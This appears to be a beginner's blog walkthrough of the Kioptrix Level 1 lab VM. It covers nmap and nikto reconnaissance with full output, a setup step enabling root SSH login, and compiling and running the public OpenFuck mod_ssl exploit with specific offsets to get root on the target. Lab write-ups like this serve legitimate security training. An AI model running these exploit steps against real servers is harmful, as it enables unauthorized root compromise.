Hi there,
My name is Samdup and I am a security enthusiast. Although I don’t have any certificates related with security trainings, I was landed into an internship cum work opportunity in one of a renown security company for a year. Although the path is obscure and murky, with a dream to carry out further study in the security field I didn’t renew my contract with the company.
Watching some youtube videos before going to bed become quite a ritualistic thing with me and, it was one of those incidents I came to know about Kioptrix and Vulhub.
Yes, this is my first attempt to write a “Walk Through”. Nevertheless, I must confess that I have read like literally 10 walk throughs before. So to be honest this “walk through” literally doesn’t belong to me. (I owe this credit to all the predecessors!!)
************************************
Important Note: I have tried with many network adapters, such as Bridget Network and Host Only etc. and came to understand one thing i.e. whatever adapter you are using never forget to choose the same for Target Machine (Kioptrix) as well as the research machine (Kali Linux). In my case, I have chosen NAT for Kioptrix and Kali Linux machine both.
************************************
Kioptrix Level 1 Machine (Victim or Target Machine)
Kali Linux (Researcher Machine)
Note for Kali Linux Lite 32 bits user:
If you are the first time using it, your ifconfig command may not work. Don’t worry. For that just install the net-tools through following command or just type ip a
apt-get install net-tools
Besides, I like to use ssh from my Host Machine to Kali Machine. And if your system doesn’t allow it, create a new user.
useradd -m -d /home/zeroice/ -s /bin/bash -G sudo zeroice*zeroice change this to your own handle (username).
or you can follow the step 1.2 (just beneath it) to get the ssh with root user. (do some few tweaks in /usr/share/ssh/sshd_config)
****************************************
Walk Through
Step 1:
ifconfig (Run this command on your Kali Machine)
Kali Linux IP: 172.16.178.141
Step 1.1:
/etc/init.d/ssh start (Run this command)
Step 1.2:
ssh from my host machine (Macintosh Terminal)
ssh root@172.16.178.141 Narration: When I tried the above command, it gave me a chunk of an error. I copied the following line and did a stackoverflow search.
ECDSA host key for 172.16.178.141 has changed and you have requested strict checking. Host key verification failed.
and came to know my old machine has stored an old key of ssh.
ssh-keygen -R 172.16.178.141It fixed the issue.
Nevertheless, I still can’t get ssh to Kali.
ssh root@172.16.178.141
Fix:
nano /etc/ssh/sshd_config
Find the following line of code
PermitRootLogin without-passwordand just below it, paste this
PermitRootLogin yesThen, restart the SSH service.
/etc/init.d/ssh restartStep 02: I have to know the IP address of the Kioptrix. For that, I know a couple of ways to get it. (By using netdiscover or using IP Scanner etc. But I will go with the following method in this Walk Through)
nmap 172.16.178.141/24 
Through the output, we can conclude that
Target Machine IP: 172.16.178.179
Step 03:
Although, we discover many running services on the Target Machine. Let me confirm it again.
nmap -Pn -O -T4 -p1-65535 -sV 172.16.178.179 | grep open
Recon
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd (workgroup: yMYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b 1024/tcp open status 1 (RPC #100024)
Step 04:
I saw Port 80 and 443. I think I can try with low hanging fruit, first. So, I checked the website and did some manual digging in their source code.
Narration: I think it is a common phenomenon that when we see directory listing, it gets us excited to enumerate more. Therefore, I fire-up the DirBuster and did a thorough check up whether I could find some juicy hidden files. Nevertheless, I need to look from a different angle.
Step 05:
nikto -h 172.16.178.179 Result:
Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 172.16.178.179 + Target Hostname: 172.16.178.179 + Target Port: 80 + Start Time: 2017-08-05 13:58:41 (GMT5.5) --------------------------------------------------------------------------- + Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b + Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep 6 08:42:46 2001 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version) + OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current. + Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + OSVDB-27487: Apache is vulnerable to XSS via the Expect header + Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392. + OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839. + OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542. + mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756. + ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL. + OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html. + OSVDB-3268: /manual/: Directory indexing found. + OSVDB-3092: /manual/: Web server manual found. + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + OSVDB-3092: /test.php: This might be interesting... + 8345 requests: 0 error(s) and 21 item(s) reported on remote host
Narration:
Don’t get intimidated by the reports. See from the bright side, like More information is better. (Know your enemy 😉 )
I highlight few lines and “Apache/1.3.20” this message caught my eyes. Decided to do a google. Guess what I got?
Step 06:
Download the exploit and modify it. This blog meticulously explains all the vital things need to be altered. Check here.
After making necessary changes mentioned in the above link, install one more package. i.e.,
apt-get install libssl1.0-devStep 07:
gcc -o OpenFuck 764.c -lcrypto it is (small L)crypto
Step 08:
Narration:
I was quite happy because the exploit was compiled successfully but I am not sure how to implement it however when the running the following command. It became quite lucid.
./OpenFuckThis will list all the offsets of all the corresponding Servers and usage is
So in our case, it is Apache/1.3.20, RedHat Linux. Therefore, the offset value of it is 0x6a and 0x6b.
You will get above information by using grep.
./OpenFuck | grep -i redhat | grep "1.3.20"
case1: 0x6a
./OpenFuck 0x6a 172.16.178.179 443 40-50
case2: 0x6b
./OpenFuck 0x6b 172.16.178.179 443 40-50
We got root!!
